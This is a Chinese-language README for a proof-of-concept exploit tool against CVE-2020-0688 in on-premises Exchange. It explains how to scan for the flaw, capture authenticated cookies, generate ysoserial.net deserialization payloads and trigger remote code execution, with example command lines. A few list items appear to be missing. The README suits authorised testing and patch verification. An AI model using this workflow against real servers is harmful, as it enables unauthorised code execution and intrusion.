本概念验证工具针对 CVE-2020-0688,包含扫描和利用存在漏洞的本地 Exchange 实例的功能。
scan — 提供凭据和目标信息,获取漏洞利用所需的 Cookie 并将其保存至 'cookies.txt'。同时检查目标 Exchange 服务器的 Exchange 控制面板(ECP)服务是否暴露,尝试对该服务进行身份验证,并检查是否匹配正确的 VIEWSTATEGENERATOR 值。若身份验证成功,将显示用于创建序列化有效载荷的会话 Cookie 值。
generate — 提供从 'scan' 功能获取的会话 Cookie 值以及要执行的命令。该功能会将你的输入格式化为 ysoserial.net 所需的命令,以生成用于代码执行的序列化有效载荷。将 ysoserial 的输出保存至文件,例如 'payload.txt'。
exploit — 使用在 'scan' 功能中通过成功身份验证获得的 Cookie 文件,并对有效载荷文件内容进行 URL 编码。该功能会发送适当的已验证请求,针对存在漏洞的本地 Exchange 实例触发代码执行。
$./ecp_slap
scan - 扫描 Exchange 主机并获取漏洞利用所需的 Cookie:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - 生成用于创建有效载荷的 ysoserial.net 命令:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - 利用存在漏洞的 Exchange 服务器:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
如果你已确认目标本地 Exchange 版本满足以下条件:
但仍无法验证代码执行是否成功,可考虑执行简单命令来评估代码执行是否正常工作,例如:
首先查阅 MSRC 安全公告,其中包含有关补丁和易受攻击的本地 Exchange 版本的详细信息。将补丁与 Microsoft Exchange 构建版本号 进行交叉对照,有助于判断是否存在漏洞。 若要手动复现对该漏洞的利用,请参考出色的 ZDI 分析文章。
如果你选择从源代码编译本项目(而不是直接下载已编译的发布版本),搭建 Go 环境通常只需安装 GoLang 并设置相应的环境变量。具体步骤可参考此处文档。